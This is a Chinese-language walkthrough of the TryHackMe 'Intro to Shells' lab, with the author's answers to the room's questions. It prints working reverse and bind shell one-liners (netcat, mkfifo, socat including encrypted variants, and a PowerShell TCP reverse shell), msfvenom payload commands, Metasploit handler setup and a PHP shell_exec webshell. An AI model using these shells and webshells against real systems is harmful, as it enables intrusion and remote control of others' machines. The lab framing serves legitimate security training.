Shell和提权<Shells and Privilege Escalation>

aw4ker2024-11-15文章来源:SecHub网络安全社区


shell和提权

一旦您在计算机上拥有初始访问权限,请了解如何将您的帐户权限升级到root。

一、shell是什么

介绍在利用目标机器时发送和接收(反向/绑定)shell。

地址

https://tryhackme.com/room/introtoshells

任务1 什么是shell?

在我们深入了解发送和接收shell的复杂性之前,理解shell实际上是什么是很重要的。用最简单的话来说,shell就是我们在与命令行环境(CLI)交互时使用的东西。换句话说,Linux中常见的bash或sh程序都是shell的示例,Windows上的PowerShell和PowerShell也是如此。针对远程系统时,有时可能会强制在服务器(例如Web服务器)上运行的应用程序执行任意代码。当这种情况发生时,我们希望使用这个初始访问来获得在目标上运行的shell。

简单来说,我们可以强制远程服务器向我们发送对服务器的命令行访问(反向shell),或者在服务器上打开一个端口,我们可以连接到该端口以执行进一步的命令(绑定shell)。

我们将在整个会议室更详细地讨论这两种情况。

该会议室的形式如下:

  • 房间的大部分内容由信息组成,并以代码块和屏幕截图的形式给出了示例。
  • 有两个虚拟机–一个 Linux,一个窗口-在房间的最后两个任务中。这些可以用来实践所展示的技术。
  • 任务13中有练习题示例。你可以自由地完成这些任务,或者在完成任务的同时沿着做。

事不宜迟,我们开始吧!

任务2 工具

我们将使用各种工具来接收反向shell和发送正向shell。一般来说,我们需要恶意的shell代码,以及一种与生成的shell接口的方法。我们将在下面简要讨论其中的每一个:

netcat:

Netcat是网络的传统“瑞士军刀”。它用于手动执行各种网络交互,包括枚举期间的横幅抓取,但更重要的是,它可以用于接收反向shell并连接到目标系统上绑定shell的远程端口。默认情况下,Netcat shell非常不稳定(容易丢失),但可以通过我们将在即将到来的任务中介绍的技术进行改进。

Socat:

Socat就像是打了类固醇的netcat。它可以做所有相同的事情,甚至更多。Socat shell通常比netcat shell更稳定。从这个意义上说,它比netcat上级得多;然而,有两个大问题:

  1. 语法比较难
  2. Netcat安装在几乎所有 Linux 默认分配。Socat很少默认安装。

这两个问题都有解决方法,我们稍后将介绍。

Socat和Netcat都有在Windows上使用的.exe版本。

Metasploit – multi/handler:

Metasploit框架的exploit/multi/handler模块与socat和netcat一样,用于接收反向shell。由于是Metasploit框架的一部分,multi/handler提供了一种完全成熟的方法来获得稳定的shell,并提供了各种各样的进一步选项来改进捕获的shell。这也是与meterpreter shell交互的唯一方法,也是处理分段有效负载的最简单方法–我们将在任务9中讨论这两种方法。

Msfvenom:

与multi/handler一样,msfvenom在技术上是Metasploit框架的一部分,但是,它是作为一个独立的工具提供的。Msfvenom用于在运行中生成有效载荷。虽然msfvenom可以产生除了反向和绑定外壳之外的有效载荷,但这些是我们在这个房间里关注的。Msfvenom是一个非常强大的工具,因此我们将在一个专门的任务中更详细地介绍它的应用程序。


除了我们已经介绍过的工具之外,还有一些不同语言的shell存储库。其中最突出的是[Payloads all the Things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md)。PentestMonkey Reverse Shell Cheatsheet也被广泛使用。除了这些在线资源,Kali Linux还预装了位于/usr/share/webshells的各种webshell。SecListsrepo虽然主要用于单词列表,但也包含一些非常有用的获取shell的代码。

任务3 shell的类型

在高层次上,我们对利用目标的两种 shell 感兴趣:反向 shell 和绑定 shell。

  • 反向 shell是指目标被迫执行连接回您的计算机的代码。在您自己的计算机上,您将使用上一个任务中提到的工具之一来设置用于接收连接的侦听器。反向 shell 是绕过防火墙规则的好方法,这些规则可能会阻止您连接到目标上的任意端口;但是,缺点是,当通过互联网从计算机接收 shell 时,您需要配置自己的网络以接受 shell。然而,由于我们连接网络的方法,这在 TryHackMe 网络上不会成为问题。
  • 绑定 shell是指在目标上执行的代码用于启动附加到直接在目标上的 shell 的侦听器。然后,这将向互联网开放,这意味着您可以连接到代码已打开的端口并以这种方式获得远程代码执行。这样做的优点是不需要在您自己的网络上进行任何配置,但可能会被保护目标的防火墙阻止。

一般来说,反向 shell 更容易执行和调试,但是,我们将在下面介绍这两个示例。不要太担心这里的语法:我们将在接下来的任务中查看它。相反,请注意以下模拟中反向 shell 和绑定 shell 之间的差异。


反向Shell示例:

我们先从比较常见的反向shell开始。

十分之九,这就是您所追求的——尤其是在像 TryHackMe 这样的 CTF 挑战中。

看看下面的图片。左边有一个反向 shell 监听器——这是接收连接的。右边是发送反向shell的模拟。实际上,这更有可能通过远程网站上的代码注入或类似的方式来完成。将左侧的图像想象为您自己的计算机,将右侧的图像想象为目标。

在攻击机上:

sudo nc -lvnp 443

关于目标:

nc <LOCAL-IP> <PORT> -e /bin/bash

请注意,运行右侧的命令后,侦听器会收到连接。当运行 whoami 命令时,我们看到我们正在以目标用户身份执行命令。这里重要的是我们正在监听我们自己的攻击机器,并从目标发送连接。

绑定外壳示例:

绑定 shell 不太常见,但仍然非常有用。

再次看一下下面的图片。同样,左边是攻击者的计算机,右边是模拟目标。只是为了稍微改变一下,这次我们将使用 Windows 目标。首先,我们在目标上启动一个侦听器 - 这次我们还告诉它执行cmd.exe。然后,随着侦听器的启动并运行,我们从自己的计算机连接到新打开的端口。

关于目标:

nc -lvnp <port> -e "cmd.exe"

在攻击机上:

nc MACHINE_IP <port>

正如您所看到的,这再次让我们在远程计算机上执行代码。请注意,这并非特定于 Windows。

这里要理解的重要一点是,我们正在监听目标,然后用我们自己的机器连接到它。

与此任务相关的最后一个概念是交互性。 Shell 可以是交互式的,也可以是非交互式的。

  • 交互式:如果您使用过 Powershell、Bash、Zsh、sh 或任何其他标准CLI环境,那么您将习惯
    交互式 shell。这些允许您在执行程序后与程序进行交互。例如,以SSH登录提示为例:

    在这里您可以看到它以交互方式询问用户键入 yes 或 no 以便继续连接。这是一个交互式程序,需要交互式 shell 才能运行。
  • 非交互式shell 不会给您带来那种奢侈。在非交互式 shell 中,您只能使用不需要用户交互才能正常运行的程序。不幸的是,大多数简单的反向和绑定 shell 都是非交互式的,这可能会使进一步的利用变得更加棘手。让我们看看当我们尝试在非交互式 shell 中运行SSH

    时会发生什么:请注意,whoami命令(非交互式)完美执行,但命令ssh(交互式)根本没有给我们任何输出。有趣的是,交互式命令的输出确实会去某个地方,但是,找出哪里是您可以自己尝试的练习。可以说,交互式程序无法在非交互式 shell 中运行。

此外,在整个任务的各个地方,您将在屏幕截图中看到一个名为 的命令listener。该命令是用于演示的攻击机器特有的别名,并且是键入的简写方式sudo rlwrap nc -lvnp 443,将在接下来的任务中介绍。除非在本地配置了别名,否则它将无法在任何其他计算机上工作。

回答以下问题

哪种类型的 shell 连接回计算机上的侦听端口,反向 ® 还是绑定Bind (B)?(Reverse ® or Bind (B)?)

答:那肯定是反向代理啊,反连

R

您已将恶意 shell 代码注入网站。您收到的 shell 可能是交互式的吗? (Y或N)

N

使用Bind shell 时,您会在攻击者 (A) 还是目标 (T) 上执行侦听器?

T

任务4 Netcat

如前所述,当涉及任何类型的网络时,Netcat 是渗透测试人员工具包中最基本的工具。有了它,我们可以做各种各样有趣的事情,但现在让我们关注 shell。

反向Shell

在上一个任务中,我们看到反向 shell 需要 shellcode 和侦听器。执行 shell 的方法有很多种,因此我们将从查看侦听器开始。

使用Linux启动 netcat 侦听器的语法如下:

nc -lvnp <port-number>
  • -l用于告诉 netcat 这将是一个侦听器
  • -v用于请求详细输出
  • -n告诉 netcat 不要解析主机名或使用DNS。解释这一点超出了房间的范围。
  • -p表示将遵循端口规范。

上一个任务中的示例使用端口 443。实际上,您可以使用您喜欢的任何端口,只要还没有服务使用它即可。请注意,如果您选择使用低于 1024 的端口,则需要sudo在启动侦听器时使用。也就是说,使用众所周知的端口号(80、443 或 53 是不错的选择)通常是一个好主意,因为这更有可能通过目标上的出站防火墙规则。

一个可行的例子是:

sudo nc -lvnp 443

然后,我们可以使用任意数量的有效负载连接回此,具体取决于目标上的环境。

上一个任务中显示了这样的示例。

绑定Shell

如果我们希望在目标上获得绑定 shell,那么我们可以假设目标的选定端口上已经有一个侦听器在等待我们:我们需要做的就是连接到它。其语法相对简单:

nc <target-ip> <chosen-port>

在这里,我们使用 netcat 在我们选择的端口上建立到目标的出站连接。

我们将在任务 8 中了解如何使用 netcat 为此类 shell 创建侦听器。这里重要的是您了解如何使用 netcat 连接到侦听端口。

回答以下问题

哪个选项告诉 netcat监听?

-l

如何连接到 IP 地址 10.10.10.11 和端口 8080 上的绑定 shell?

nc 10.10.10.11 8080

任务5 Netcat外壳稳定

好的,我们已经捕获或连接到了 netcat shell,接下来做什么?

默认情况下,这些 shell 非常不稳定。按 Ctrl + C 会杀死整个事情。它们是非交互式的,并且经常出现奇怪的格式错误。这是因为 netcat“shell”实际上是在终端内运行的进程,而不是其本身的真正终端。幸运的是,有很多方法可以在 Linux 系统上稳定 netcat shell。我们将在这里关注三个。 Windows 反向 shell 的稳定往往要困难得多;然而,我们将在这里介绍的第二种技术对此特别有用。


技术一:Python

我们将讨论的第一种技术仅适用于Linux机器,因为它们几乎总是默认安装 Python。这是一个三阶段过程:

  1. 首先要做的是 use python -c 'import pty;pty.spawn("/bin/bash")',它使用 Python 生成一个功能更好的 bash shell;请注意,某些目标可能需要指定的 Python 版本。如果是这种情况,请根据需要更换pythonpython2python3。此时,我们的 shell 看起来会更漂亮一些,但我们仍然无法使用 tab 自动完成或箭头键,并且 Ctrl + C 仍然会终止 shell。
  2. 第二步是:export TERM=xterm– 这将使我们能够访问术语命令,例如clear.
  3. 最后(也是最重要的)我们将使用 Ctrl + Z 将 shell 后台化。回到我们自己的终端,我们使用stty raw -echo; fg.这做了两件事:首先,它关闭了我们自己的终端回显(这使我们能够访问选项卡自动完成、箭头键和 Ctrl + C 来终止进程)。然后它将 shell 置于前台,从而完成该过程。

完整的技术可以在这里看到:

请注意,如果 shell 死机,您自己的终端中的任何输入都将不可见(由于禁用了终端回显)。要解决此问题,请键入reset并按 Enter 键。


技术2:rlwrap

rlwrap 是一个程序,简单来说,它在收到 shell 后让我们可以立即访问历史记录、Tab 自动完成和箭头键;但是,如果您希望能够在 shell 中使用 Ctrl + C,仍然必须使用一些手动稳定功能。rlwrap 未默认安装在 Kali 上,因此请先使用 安装它sudo apt install rlwrap

要使用 rlwrap,我们调用一个略有不同的侦听器:

rlwrap nc -lvnp <port>

在我们的 netcat 监听器前面加上“rlwrap”给我们一个功能更齐全的 shell。这种技术在处理 Windows shell 时特别有用,否则众所周知,Windows shell 很难稳定。在处理 Linux 目标时,可以通过使用与先前技术的第三步中相同的技巧来完全稳定:使用 Ctrl + Z 将 shell 置于后台,然后使用stty raw -echo; fg稳定并重新进入 shell。


** 技术3:Socat**

稳定 shell 的第三种简单方法是使用初始 netcat shell 作为进入功能更齐全的 socat shell 的垫脚石。请记住,此技术仅限于 Linux 目标,因为 Windows 上的 Socat shell 并不比 netcat shell 更稳定。为了实现这种稳定方法,我们首先将socat 静态编译的二进制文件(编译为没有依赖性的程序版本)传输到目标机器。实现此目的的典型方法是在攻击计算机上使用包含 socat 二进制文件 ( sudo python3 -m http.server 80) 的目录内的网络服务器,然后在目标计算机上使用 netcat shell 下载文件。在Linux上,这可以通过curl 或wget ( wget <LOCAL-IP>/socat -O /tmp/socat) 来完成。

为了完整起见:在 Windows CLI环境中,可以使用 Powershell 完成相同的操作,使用 Invoke-WebRequest 或 webrequest 系统类,具体取决于安装的 Powershell 版本 ( Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe)。我们将在接下来的任务中介绍使用 Socat 发送和接收 shell 的语法。


使用上述任何一种技术,能够更改终端 tty 大小都很有用。这是使用常规 shell 时终端会自动执行的操作;但是,如果您想使用文本编辑器之类的东西覆盖屏幕上的所有内容,则必须在反向或绑定 shell 中手动完成此操作。

首先,打开另一个终端并运行stty -a.这将为您提供大量输出。记下“行”和列的值:

接下来,在反向/绑定 shell 中输入:

stty rows <number>

stty cols <number>

填写在您自己的终端中运行命令时获得的数字。

这将更改终端的注册宽度和高度,从而允许依赖此类信息准确的文本编辑器等程序正确打开。

回答以下问题

如何将终端大小更改为238列?

stty cols 238

在端口 80 上设置 Python3 Web 服务器的语法是什么?

sudo python3 -m http.server 80

任务6 Socat

Socat 在某些方面与 netcat 相似,但在许多其他方面有根本的不同。考虑 socat 的最简单方法是将其视为两点之间的连接器。为了这个房间的利益,这本质上是一个监听端口和键盘,但是,它也可以是一个监听端口和一个文件,或者实际上是两个监听端口。 socat 所做的只是提供两点之间的链接 - 很像传送门游戏中的传送门枪!

让我们再次从反向 shell 开始。

反向 Shell

如前所述,socat 的语法比 netcat 的语法困难得多。以下是 socat 中基本反向 shell 侦听器的语法:

socat TCP-L:<port> -

与 socat 一样,这需要两个点(一个监听端口和标准输入))并将它们连接在一起。生成的 shell 不稳定,但这可以在Linux或 Windows 上运行,并且等同于nc -lvnp <port>.

在 Windows 上,我们将使用此命令来连接回来:

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes

“pipes”选项用于强制powershell(或cmd.exe)使用Unix风格的标准输入和输出。

这是Linux目标的等效命令:

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

绑定Shell

在Linux目标上,我们将使用以下命令:

socat TCP-L:<PORT> EXEC:"bash -li"

在 Windows 目标上,我们将使用以下命令作为侦听器:

socat TCP-L:<PORT> EXEC:powershell.exe,pipes

我们使用“管道”参数在 CLI环境中处理输入和输出的 Unix 和 Windows 方式之间建立接口。

无论目标是什么,我们都会在攻击机器上使用此命令来连接到等待的监听器。

socat TCP:<TARGET-IP>:<TARGET-PORT> -


现在让我们看看 Socat 更强大的用途之一:完全稳定的Linux tty 反向 shell。这仅在目标是Linux时才有效,但明显更稳定。如前所述,socat 是一个非常通用的工具;然而,以下技术可能是其最有用的应用之一。这是新的侦听器语法:

socat TCP-L:<port> FILE:`tty`,raw,echo=0

让我们将此命令分解为两个部分。像往常一样,我们将两个点连接在一起。在这种情况下,这两个点是一个监听端口和一个文件。具体来说,我们将当前 TTY 作为文件传入,并将回显设置为零。这大致相当于在stty raw -echo; fgnetcat shell 中使用 Ctrl + Z 技巧——额外的好处是可以立即稳定并挂接到完整的 tty。

第一个侦听器可以与任何有效负载连接;但是,必须使用非常特定的 socat 命令激活此特殊侦听器。这意味着目标必须安装 socat。大多数机器默认情况下没有安装 socat,但是,可以上传预编译的 socat 二进制文件,然后可以正常执行。

特殊命令如下:

socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

这是少数,所以让我们把它分解一下。

第一部分很简单——我们正在与在我们自己的机器上运行的侦听器连接。该命令的第二部分创建一个交互式 bash 会话 EXEC:"bash -li"。我们还传递参数:pty、stderr、sigint、setsid 和 sane:

  • pty,在目标上分配一个伪终端——稳定过程的一部分
  • stderr,确保所有错误消息都显示在 shell 中(通常是非交互式 shell 的问题)
  • sigint,将任何 Ctrl + C 命令传递到子进程中,允许我们终止 shell 内的命令
  • setid,在新会话中创建进程
  • sane,稳定终端,尝试“正常化”它。

需要考虑的内容有很多,所以让我们看看它的实际效果。

与往常一样,左边我们有一个在本地攻击机器上运行的侦听器,右边我们有一个受感染目标的模拟,使用非交互式 shell 运行。使用非交互式 netcat shell,我们执行特殊的 socat 命令,并在左侧的 socat 侦听器上收到完全交互式的 bash shell:

请注意,socat shell 是完全交互式的,允许我们使用交互式命令,例如SSH。然后可以通过设置 stty 值(如上一个任务中所示)来进一步改进,这将使我们可以使用 Vim 或 Nano 等文本编辑器。


如果在任何时候 socat shell 无法正常工作,那么通过添加-d -d命令来增加详细程度是非常值得的。这对于实验目的非常有用,但对于一般用途通常不需要。

回答以下问题

我们如何让 socat 监听 TCP 端口 8080?

试了下socket tcp-L:8080说不对,去掉socket说对了

tcp-L:8080

任务7 Socat加密外壳

socat 的众多优点之一是它能够创建加密的 shell——绑定和反向。我们为什么要这样做?除非您拥有解密密钥,否则加密的 shell 无法被监视,并且通常能够绕过IDS。

我们在上一个任务中介绍了如何创建基本 shell,因此这里不再介绍语法。可以说,任何时间TCP都被用作命令的一部分,这应该被替换为OPENSSL使用加密 shell 时。我们将在任务结束时介绍一些示例,但首先让我们讨论一下证书。

我们首先需要生成一个证书才能使用加密的 shell。这在我们的攻击机器上最容易做到:

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

此命令创建一个 2048 位 RSA 密钥以及匹配的证书文件,自签名,有效期不到一年。当您运行此命令时,它会要求您填写有关证书的信息。这可以留空,也可以随机填写。

然后我们将两个创建的文档合并为一个文件:.pem

cat shell.key shell.crt > shell.pem

现在,当我们设置反向 shell 侦听器时,我们使用:

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

我们将使用我们生成的证书设置一个OPENSSL侦听器。告诉连接不要费心尝试验证我们的证书是否已由公认的机构正确签名。请注意,证书必须在正在侦听的任何设备上使用。verify=0

要连接回来,我们将使用:

socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

同样的技术也适用于绑定 shell:

目标:

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes

攻击者:

socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

再次注意,即使对于 Windows 目标,证书也必须与侦听器一起使用,因此需要复制 PEM 文件以用于绑定 shell。

下图显示了来自Linux目标的 OPENSSL 反向 shell 。与往常一样,目标在右侧,攻击者在左侧:

该技术还可以与上一个任务中介绍的特殊的、仅限 Linux 的 TTY shell 一起使用——弄清楚其语法将是该任务的挑战。如果您难以获得答案,请随意使用 Linux 练习盒(可部署在房间的尽头)进行实验。

回答以下问题

使用上一个任务中的 tty 技术设置 OPENSSL-LISTENER 的语法是什么?使用端口 53 和名为“encrypt.pem”的 PEM 文件

提示:The syntax for this without the OPENSSL encryption is: socat TCP-L:53 FILE:tty,raw,echo=0

不使用OPENSSL加密的语法是:socat TCP—L:53 FILE:tty,raw,echo = 0

看上面图以及提示,拼写发现还是不对,然后我打开了任务14的机器,在上面练习一下

socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0

sudo socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0

如果您的IP是10.10.10.5,您将使用什么语法来连接这个侦听器?

提示:The syntax for this without the OPENSSL encryption is: socat TCP:10.10.10.5:53 EXEC:“bash -li”,pty,stderr,sigint,setsid,sane

不使用OPENSSL加密的语法是:

socat TCP:10.10.10.5:53 EXEC:"bash -li",pty,stderr,sigint,setsid,san

结合上面的讲解中的语句:

socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

尝试拼接,拼了好多次,终于成了

socat  OPENSSL:10.10.10.5:53,verify=0  EXEC:"bash -li",pty,stderr,sigint,setsid,sane

任务8 普通shell有效载荷

我们很快就会考虑使用 msfvenom 生成有效负载,但在此之前,让我们先使用我们已经介绍过的工具来了解一些常见的有效负载。


之前的任务提到我们将研究一些使用 netcat 作为 Bindshell 侦听器的方法,因此我们将从这里开始。在 netcat 的某些版本中(包括nc.exeKali 附带的 Windows 版本/usr/share/windows-resources/binaries,以及 Kali 本身使用的版本:)netcat-traditional,有一个-e选项允许您在连接时执行进程。例如,作为听众:

nc -lvnp <PORT> -e /bin/bash

使用 netcat 连接到上述侦听器将导致目标上有一个绑定 shell。

同样,对于反向 shell,向后连接nc <LOCAL-IP> <PORT> -e /bin/bash将导致目标上出现反向 shell。

然而,大多数版本的 netcat 中均未包含此功能,因为人们普遍认为它非常不安全(这很有趣,不是吗?)。在几乎总是需要静态二进制文件的 Windows 上,这种技术将完美地发挥作用。然而,在Linux上,我们将使用以下代码为绑定 shell 创建侦听器:

mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

以下段落是该命令的技术解释。它略高于这个房间的水平面,所以如果现在没有多大意义,请不要担心——命令本身才是重要的。

该命令首先在 处创建一个命名管道/tmp/f。然后它启动一个 netcat 侦听器,并将侦听器的输入连接到命名管道的输出。然后,netcat 侦听器的输出(即我们发送的命令)直接通过管道传输到sh,将 stderr 输出流发送到 stdout,并将 stdout 本身发送到命名管道的输入,从而完成循环。

可以使用非常相似的命令发送 netcat 反向 shell:

mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

除了使用netcat connect语法(而不是netcat Listen语法)之外,此命令实际上与前一个命令相同。


当针对现代 Windows Server 时,需要 Powershell 反向 shell 是很常见的,因此,我们将在这里介绍标准的单行 PSH 反向 shell。

该命令非常复杂,为了简单入门,这里不再直接解释。然而,这是一个非常有用的单行文字值得,随身携带:

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('**<ip>**',**<port>**);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

为了使用此功能,我们需要将“<IP>”和“<port>”替换为适当的IP和端口选择。然后可以将其复制到cmd.exe shell(或在Windows服务器上执行命令的另一种)方法,例如webshell)并执行,从而产生反向shell:


对于其他常见的反向 shell 有效负载,[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md)是一个包含多种不同语言的 shell 代码(通常采用单行格式用于复制和粘贴)的存储库。非常值得阅读链接页面以了解可用的内容。

回答以下问题

在 Linux 中可以使用什么命令来创建命名管道?

提示:该问题有两个答案

mkfifo

查看链接的 Payloads All Things Reverse Shell Cheatsheet 以及熟悉可用的语言。

任务9 msfvenom

Msfvenom:所有与负载相关的事情的一站式商店。

msfvenom 是Metasploit框架的一部分,主要用于生成反向和绑定 shell 的代码。它广泛用于较低级别的漏洞利用开发,以在开发缓冲区溢出漏洞利用等内容时生成十六进制 shellcode;然而,它也可以用于生成各种格式的有效负载(例如,,,,.exe)。我们将在这个房间中使用后一个功能。关于 msfvenom 的教学内容比一个房间所能容纳的还要多,更不用说单个任务了,因此以下信息将简要介绍对这个房间有用的概念。.aspx``.war``.py

msfvenom的标准语法如下:

msfvenom -p <PAYLOAD> <OPTIONS>

例如,要生成 exe 格式的 Windows x64 反向 Shell,我们可以使用:

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>

这里我们使用有效负载和四个选项:

  • -f <格式>
    • 指定输出格式。在本例中,这是一个可执行文件 (exe)
  • -o <文件>
    • 生成的有效负载的输出位置和文件名。
  • LHOST= <IP>
    • 指定要连接回的IP。使用TryHackMe时,这将是您的tun0 IP 地址。如果无法加载链接,则表明您未连接到VPN
  • LPORT= <端口>
    • 本地计算机上要连接回的端口。这可以是 0 到 65535 之间尚未使用的任何值;但是,低于 1024 的端口受到限制,并且需要以 root 权限运行侦听器。

分级与无级

在进一步讨论之前,必须先介绍另外两个概念:分级反向shell有效负载和无级反向shell有效负载。

  • 分阶段的有效负载分为两部分发送。第一部分被stager。这是直接在服务器本身上执行的一段代码。它连接回等待侦听器,但实际上本身并不包含任何反向 shell 代码。相反,它连接到侦听器并使用该连接加载真正的有效负载,直接执行它并防止它接触可能被传统防病毒解决方案捕获的磁盘。因此,有效负载被分成两部分——一个小的初始 stager,然后是在 stager 激活时下载的较大的反向 shell 代码。分阶段的有效负载需要一个特殊的侦听器——通常是Metasploit multi/handler,这将在下一个任务中介绍。
  • 无级有效负载更为常见——这些是我们迄今为止一直在使用的。它们是完全独立的,因为有一段代码在执行时会立即将 shell 发送回等待的侦听器。

无级有效的负载往往更容易使用和捕获;然而,它们也比较庞大,并且更容易被防病毒或入侵检测程序发现和删除。分阶段有效负载更难使用,但初始阶段要短分割,有时会被效率较低的防病毒软件丢失。现代防病毒解决方案利用反恶意软件扫描接口(AMSI)来检测由stager加载到内存中的有效负载,从而使该区域的有效负载比以前暂时存在效率居中。


翻译员

关于Metasploit主题,另一个要讨论的重要内容是Meterpreter shell。Meterpreter shell是Metasploit自有完全品牌的全功能shell。它们稳定,这使得它们在处理Windows目标时非常有用。它们还具有许多自己的内置功能,例如文件上传和下载。如果我们想使用 Metasploit 的任何后续使用工具,我们需要使用 meterpreter shell,不过,这是另一个话题了。meterpreter shell 的缺点是它们必须那么被使用Metasploit捕获。


有效负载命名约定

使用 msfvenom 时,了解命名系统的工作原理非常重要。基本约定如下:

<OS>/<arch>/<payload>

例如:

linux/x86/shell_reverse_tcp

这将使x86 Linux目标生成无阶段反向shell 。

此约定的例外是 Windows 32 位目标。对于这些,没有指定拱门。例如:

windows/shell_reverse_tcp

对于 64 位 Windows 目标,arch 将被指定为正常 (x64)。

让我们进一步分解有效负载部分。

在上面的例子中,使用有效的锌是。这表明它是一个无阶段的有效负载。如何?无阶段有效负载用下划线 ( ) 表示。与此有效负载等效的阶段将是:shell_reverse_tcp``_

shell/reverse_tcp

分级的有效负载用另一个正斜杠 ( ) 表示/

此规则也适用于Meterpreter有效负载。Windows 64位暂存Meterpreter有效负载如下所示:

windows/x64/meterpreter/reverse_tcp

Linux 32位无级Meterpreter有效负载如下所示:

linux/x86/meterpreter_reverse_tcp

除了msfconsole手册页之外,使用 msfvenom 时需要注意的另一个重要事项是:

msfvenom --list payloads

这可用于列出所有可用的有效负载,然后可以通过管道将其输入grep搜索到特定的一组有效负载。例如:

这为我们提供了一套适用于 32 位目标的Linux meterpreter 有效负载。

回答以下问题

为 64 位 Windows 目标生成分阶段反向 shell,在.exe使用您的 TryHackMe tun0 IP 地址和所选端口进行格式化。

使用哪个符号来表明 shell 是无阶段的?

试了正斜杠说不对,下划线对了

_

假设你自己的IP是10.10.10.5,并且你正在侦听端口443,你将使用什么命令为64位Linux目标生成分阶段的meterpreter反向shell?shell的格式是elf,输出文件名应该是shell

贼简单,msfvenom嘛,lhost=10.10.10.5,lport=443,linux/x64/meterpreter/reverse_tcp,格式elf是-f elf,输出名较shell -o shell.elf

msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell.elf host=10.10.10.5 lport=443

任务10 Metasploit multi/handler

Multi/Handler 是捕捉反向shell的绝佳工具。如果您想使用Meterpreter shell,它是必不可少的,并且是使用分阶段有效负载时的首选。

幸运的是,它相对容易使用:

  1. 打开Metasploitmsfconsole
  2. 输入use multi/handler,然后按 Enter

我们现在准备开始多/处理程序会话。让我们看一下使用options命令的可用选项:

我们需要设置三个选项:payload、LHOST 和 LPORT。这些都与我们使用 Msfvenom 生成 shellcode 时设置的选项相同——特定于我们的目标的有效负载,以及我们可以用来接收 shell 的地址监听和端口。请注意,必须在此处指定 LHOST ,因为 Metasploit 不会像 netcat 或 socat 这样侦听所有网络接口;必须告诉它要监听的特定地址(使用 TryHackMe 时,这将是您的以下tun0 地址)。我们使用命令设置这些选项:

  • set PAYLOAD <payload>
  • set LHOST <listen-address>
  • set LPORT <listen-port>

我们现在应该准备好启动监听器了!

让我们使用exploit -j命令来执行此操作。这将告诉Metasploit启动模块,并在后台作业作为运行。

您可能会注意到,在上面的屏幕截图中,Metasploit正在侦听 1024 以下的端口。因此,Metasploit 必须使用 sudo 权限运行。

当上一个任务中生成暂存有效负载运行时,Metasploit接收连接,发送有效负载的其余部分并为我们提供反向shell:

请注意,由于 multi/handler 最初后台,我们需要使用sessions 1将其重新设置前台。这很有效,因为它是唯一正在运行的会话。如果有其他会话某个活动状态,我们需要使用sessions来查看所有活动会话,然后使用sessions <number>来选择要设置前台的适当会话。此数字基因显示在打开 shell 的行中(请参阅“命令 Shell 会话1已打开”)。

回答以下问题

可以使用什么命令在后台启动侦听器?

j应该是jobs的意思,类似与linux1的后台进程

exploit -j

我们刚刚在当前 Metasploit 会话中收到第十个反向 shell,那么用于将其前台的命令是什么?

sessions -i 10

任务11 WebShell

有时我们会遇到允许我们以某种方式上传可执行文件的网站。理想情况下,我们会利用这个机会上传激活反向或绑定 shell 的代码,但有时这是不可能的。在这些情况下,我们会上传一个webshell。请参阅上传漏洞室以更广泛地了解此概念。

“Webshell”是一个通俗术语,指在网络服务器(通常采用PHP或 ASP等语言)内部运行的脚本,该脚本在服务器上执行代码。本质上,命令是通过 HTML 表单或直接作为 URL 中的参数输入到网页中的,然后由脚本执行,返回结果并写入页面。如果存在防火墙,这将非常有用,甚至可以作为进入完全成熟的反向或绑定 shell 的垫脚石。

由于 PHP 仍然是最常见的服务器端脚本语言,让我们看一些简单的代码。

以一种非常基本的单行格式:

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

这将采用 URL 中的 GET 参数并使用shell_exec().本质上,这意味着我们在 URL 后面输入的任何命令?cmd=都将在系统上执行——无论是 Windows 还是 Linux。 “pre”元素用于确保结果在页面上的格式正确。

让我们看看实际效果:

请注意,在浏览 shell 时,我们使用了 GET 参数“cmd”和命令“ifconfig”,它正确返回了盒子的网络信息。换句话说,通过在 shell 的 URL 中输入ifconfig命令(用于检查Linux目标上的网络接口),该命令就会在系统上执行,并将结果返回给我们。这适用于我们选择使用的任何其他命令(例如whoamihostnamearch等)。

如前所述,默认情况下,Kali 上有多种可用的 Webshell /usr/share/webshells,包括臭名昭著的PentestMonkey php-reverse-shell,这是一个用 PHP 编写的完整反向 shell。请注意,大多数通用的特定语言(例如 PHP)反向 shell 都是为基于 Unix 的目标(例如Linux Web 服务器)编写的。默认情况下,它们不能在 Windows 上运行。

